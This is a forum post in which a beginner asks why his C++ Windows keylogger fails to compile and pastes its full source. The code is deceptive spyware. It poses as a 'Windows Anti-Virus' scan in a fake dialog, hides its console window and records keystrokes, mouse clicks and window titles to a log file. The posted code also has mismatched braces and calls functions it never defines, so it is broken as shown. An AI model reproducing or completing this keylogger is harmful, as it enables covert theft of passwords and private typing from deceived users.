Hello everyone, as you can see I am new to this forum, I have had, not huge experience, but a bit of experience with c++. So I decidedt to make a keylogger. I know there are other ways to make this code shorter but for now i would like to do it this way.
Here are the errors i get (By the way, it is talking about the line:
void KeyCheck() ) :
In function `int main()':
expected primary-expression before "void"
expected `;' before "void"
expected `}' at end of input
expected `}' at end of input
expected `}' at end of input
Can anyone tell me why I am getting these errors? I have checked my code to see if there are any ; or { } missing but I do not see any that are. Help will be much appreciated.
Thanks.
Here is the actual code:
//By Amin
//c++ keylogger v2
//Features = tells you the time, window title, pretends to be a virus scanner,
//does not use much cpu, records almost all keys on keyboard (not some of
//thekeys which are different in other countries)
#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <fstream>
#include <time.h>
using namespace std;
void KeyCheck(); /*Some one told me to put this here which would take away some of the errors
But it didn't! */
int main(void) //That person also told me to put void here instead of int,
//still didnt work
{
int Result;
Result = MessageBox(NULL, "Are you sure you want to run A Full Computer Scan to check for viruses?", "Windows Anti-Virus",MB_YESNO | MB_ICONQUESTION);
if (Result == IDYES) {
MessageBox(NULL, "Ok, Windows antivirus will run in background, this could take several minutes or hours", "Windows Anti-Virus",MB_OK | MB_ICONINFORMATION);
}
if (Result == IDNO) {
return EXIT_SUCCESS;
}
SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
string keylog;
while (true){
{FILE *file;
file=fopen(keylog.c_str(), "a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
}
if (GetAsyncKeyState(0x41)){
cout<<"a";
keylog+="a";
Sleep(100);
}
if (GetAsyncKeyState(0x42)){
cout<<"b";
keylog+="b";
Sleep(100);
}
if (GetAsyncKeyState(0x43)){
cout<<"c";
keylog+="c";
Sleep(100);
}
if (GetAsyncKeyState(0x44)){
cout<<"d";
keylog+="d";
Sleep(100);
}
if (GetAsyncKeyState(0x45)){
cout<<"e";
keylog+="e";
Sleep(100);
}
if (GetAsyncKeyState(0x46)){
cout<<"f";
keylog+="f";
Sleep(100);
}
if (GetAsyncKeyState(0x47)){
cout<<"g";
keylog+="g";
Sleep(100);
}
if (GetAsyncKeyState(0x48)){
cout<<"h";
keylog+="h";
Sleep(100);
}
if (GetAsyncKeyState(0x49)){
cout<<"i";
keylog+="i";
Sleep(100);
}
if (GetAsyncKeyState(0x4a)){
cout<<"j";
keylog+="j";
Sleep(100);
}
if (GetAsyncKeyState(0x4b)){
cout<<"k";
keylog+="k";
Sleep(100);
}
if (GetAsyncKeyState(0x4c)){
cout<<"l";
keylog+="l";
Sleep(100);
}
if (GetAsyncKeyState(0x4d)){
cout<<"m";
keylog+="m";
Sleep(100);
}
if (GetAsyncKeyState(0x4e)){
cout<<"n";
keylog+="n";
Sleep(100);
}
if (GetAsyncKeyState(0x4f)){
cout<<"o";
keylog+="o";
Sleep(100);
}
if (GetAsyncKeyState(0x50)){
cout<<"p";
keylog+="p";
Sleep(100);
}
if (GetAsyncKeyState(0x51)){
cout<<"q";
keylog+="q";
Sleep(100);
}
if (GetAsyncKeyState(0x52)){
cout<<"r";
keylog+="r";
Sleep(100);
}
if (GetAsyncKeyState(0x53)){
cout<<"s";
keylog+="s";
Sleep(100);
}
if (GetAsyncKeyState(0x54)){
cout<<"t";
keylog+="t";
Sleep(100);
}
if (GetAsyncKeyState(0x55)){
cout<<"u";
keylog+="u";
Sleep(100);
}
if (GetAsyncKeyState(0x56)){
cout<<"v";
keylog+="v";
Sleep(100);
}
if (GetAsyncKeyState(0x57)){
cout<<"w";
keylog+="w";
Sleep(100);
}
if (GetAsyncKeyState(0x58)){
cout<<"x";
keylog+="x";
Sleep(100);
}
if (GetAsyncKeyState(0x59)){
cout<<"y";
keylog+="y";
Sleep(100);
}
if (GetAsyncKeyState(0x5A)){
cout<<"z";
keylog+="z";
Sleep(100);
{
if (GetAsyncKeyState(VK_SPACE)){
cout<<" ";
keylog+=" ";
Sleep(100);
}
if (GetAsyncKeyState(0xBE)){
cout<<".";
keylog+=".";
Sleep(100);
}
if (GetAsyncKeyState(0x0D)){
cout<<"/n";
keylog+="/n";
Sleep(100);
}
if (GetAsyncKeyState (0x30)){
cout<<"0";
keylog+="0";
Sleep(100);
}
if (GetAsyncKeyState (0x31)){
cout<<"1";
keylog+="1";
Sleep(100);
}
if (GetAsyncKeyState (0x32)){
cout<<"2";
keylog+="2";
Sleep(100);
}
if (GetAsyncKeyState (0x33)){
cout<<"3";
keylog+="3";
Sleep(100);
}
if (GetAsyncKeyState (0x34)){
cout<<"4";
keylog+="4";
Sleep(100);
}
if (GetAsyncKeyState (0x35)){
cout<<"5";
keylog+="5";
Sleep(100);
}
if (GetAsyncKeyState (0x36)){
cout<<"6";
keylog+="6";
Sleep(100);
}
if (GetAsyncKeyState (0x37)){
cout<<"7";
keylog+="7";
Sleep(100);
}
if (GetAsyncKeyState (0x38)){
cout<<"8";
keylog+="8";
Sleep(100);
}
if (GetAsyncKeyState (0x39)){
cout<<"9";
keylog+="9";
Sleep(100);
}
if (GetAsyncKeyState (VK_LBUTTON)){
cout<<"[Left_Mouse_Button]";
keylog+="[Left_Mouse_Button]";
Sleep(100);
}
if (GetAsyncKeyState (VK_RBUTTON)){
cout<<"[Right_Mouse_Button]";
keylog+="[Right_Mouse_Button]";
Sleep(100);
}
if (GetAsyncKeyState (VK_MBUTTON)){
cout<<"[Middle_Mouse_Button]";
keylog+="[Middle_Mouse_Button]";
Sleep(100);
}
if (GetAsyncKeyState (VK_BACK)){
cout<<"[BACKSPACE]";
keylog+="[BACKSPACE]";
Sleep(100);
}
if (GetAsyncKeyState (VK_TAB)){
cout<<"[TAB]";
keylog+="[TAB]";
Sleep(100);
}
if (GetAsyncKeyState (VK_LSHIFT)){
cout<<"[LSHIFT]";
keylog+="[LSHIFT]";
Sleep(100);
}
if (GetAsyncKeyState (VK_RSHIFT)){
cout<<"[RSHIFT]";
keylog+="[RSHIFT]";
Sleep(100);
}
if (GetAsyncKeyState (VK_LCONTROL)){
cout<<"[LCONTROL";
keylog+="[LCONTROL]";
Sleep(100);
}
if (GetAsyncKeyState (VK_RCONTROL)){
cout<<"[RCONTROL]";
keylog+="[RCONTROL]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMLOCK)){
cout<<"[NUMLOCK]";
keylog+="[NUMLOCK]";
Sleep(100);
}
if (GetAsyncKeyState (VK_SCROLL)){
cout<<"[SCROLL_LOCK]";
keylog+="[SCROLL_LOCK]";
Sleep(100);
}
if (GetAsyncKeyState (VK_DELETE)){
cout<<"[DELETE]";
keylog+="[DELETE]";
Sleep(100);
}
if (GetAsyncKeyState (VK_INSERT)){
cout<<"[INSERT]";
keylog+="[INSERT]";
Sleep(100);
}
if (GetAsyncKeyState (VK_SNAPSHOT)){
cout<<"[PRINTSCREEN]";
keylog+="[PRINTSCREEN]";
Sleep(100);
}
if (GetAsyncKeyState (VK_ESCAPE)){
cout<<"[ESC]";
keylog+="[ESC]";
Sleep(100);
}
if (GetAsyncKeyState (VK_CAPITAL)){
cout<<"[CAPS_LOCK]";
keylog+="[CAPS_LOCK]";
Sleep(100);
}
if (GetAsyncKeyState (0x25)){
cout<<"";
keylog+="";
Sleep(100);
}
if (GetAsyncKeyState (0x26)){
cout<<"[UP]";
keylog+="[UP]";
Sleep(100);
}
if (GetAsyncKeyState (0x27)){
cout<<"";
keylog+="";
Sleep(100);
}
if (GetAsyncKeyState (0x28)){
cout<<"[DOWN]";
keylog+="[DOWN]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F1)){
cout<<"[F1]";
keylog+="[F1]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F2)){
cout<<"[F2]";
keylog+="[F2]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F3)){
cout<<"[F3]";
keylog+="[F3]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F4)){
cout<<"[F4]";
keylog+="[F4]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F5)){
cout<<"[F5]";
keylog+="[F5]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F6)){
cout<<"[F6]";
keylog+="[F6]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F7)){
return EXIT_SUCCESS;
}
if (GetAsyncKeyState (VK_F8)){
cout<<"[F8]";
keylog+="[F8]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F9)){
cout<<"[F9]";
keylog+="[F9]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F10)){
cout<<"[F10]";
keylog+="[F10]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F11)){
cout<<"[F11]";
keylog+="[F11]";
Sleep(100);
}
if (GetAsyncKeyState (VK_F12)){
cout<<"[F12]";
keylog+="[F12]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD0)){
cout<<"[NUMPAD0]";
keylog+="[NUMPAD0]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD1)){
cout<<"[NUMPAD1]";
keylog+="[NUMPAD1]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD2)){
cout<<"[NUMPAD2]";
keylog+="[NUMPAD2]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD3)){
cout<<"[NUMPAD3]";
keylog+="[NUMPAD3]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD4)){
cout<<"[NUMPAD4]";
keylog+="[NUMPAD4]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD5)){
cout<<"[NUMPAD5]";
keylog+="[NUMPAD5]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD6)){
cout<<"[NUMPAD6]";
keylog+="[NUMPAD6]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD7)){
cout<<"[NUMPAD7]";
keylog+="[NUMPAD7]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD8)){
cout<<"[NUMPAD8]";
keylog+="[NUMPAD8]";
Sleep(100);
}
if (GetAsyncKeyState (VK_NUMPAD9)){
cout<<"[NUMPAD9]";
keylog+="[NUMPAD9]";
Sleep(100);
}
if (GetAsyncKeyState (VK_MULTIPLY)){
cout<<"[*]";
keylog+="[*]";
Sleep(100);
}
if (GetAsyncKeyState (VK_DIVIDE)){
cout<<"/";
keylog+="/";
Sleep(100);
}
if (GetAsyncKeyState (0xBB)){
cout<<"[+]";
keylog+="[+]";
Sleep(100);
}
if (GetAsyncKeyState (0xBC)){
cout<<",";
keylog+=",";
Sleep(100);
}
if (GetAsyncKeyState (0xBD)){
cout<<"[-]";
keylog+="[-]";
Sleep(100);
}
if (GetAsyncKeyState (VK_OEM_1)){
cout<<"[:;]";
keylog+="[:;]";
Sleep(100);
if (GetAsyncKeyState (VK_OEM_2)){
cout<<"[/?]";
keylog+="[/?]";
Sleep(100);
}
if (GetAsyncKeyState (VK_OEM_4)){
cout<<"[ [{ ]";
keylog+="[ [{ ]";
Sleep(100);
}
if (GetAsyncKeyState (VK_OEM_6)){
cout<<"[ ]} ]";
keylog+="[ ]} ]";
Sleep(100);
}
if (GetAsyncKeyState (VK_MENU)){
cout<<"[ALT]";
keylog+="[ALT]";
Sleep(100);
}
if (GetAsyncKeyState (VK_END)){
cout<<"[END]";
keylog+="[END]";
Sleep(100);
}
if (GetAsyncKeyState (VK_HOME)){
cout<<"[HOME]";
keylog+="[HOME]";
Sleep(100);
}
}
ofstream file;
file.open ("KLF.txt");
file << keylog;
file.close();
}
void KeyCheck()
{
char key;
int pause;
char title[MAX_PATH];
char oldtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
sprintf(oldtitle,"%s",title);
addTITLE(title);
while(1)
{
for(key = 32;key<=127;key++)
{
GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
if(strcmp(title,oldtitle)){
addTITLE(title);
sprintf(oldtitle,"%s",title);
}
if (GetAsyncKeyState(key)==-32767)
{
pause = KeyLog(key);
}
}
}
return 0;
}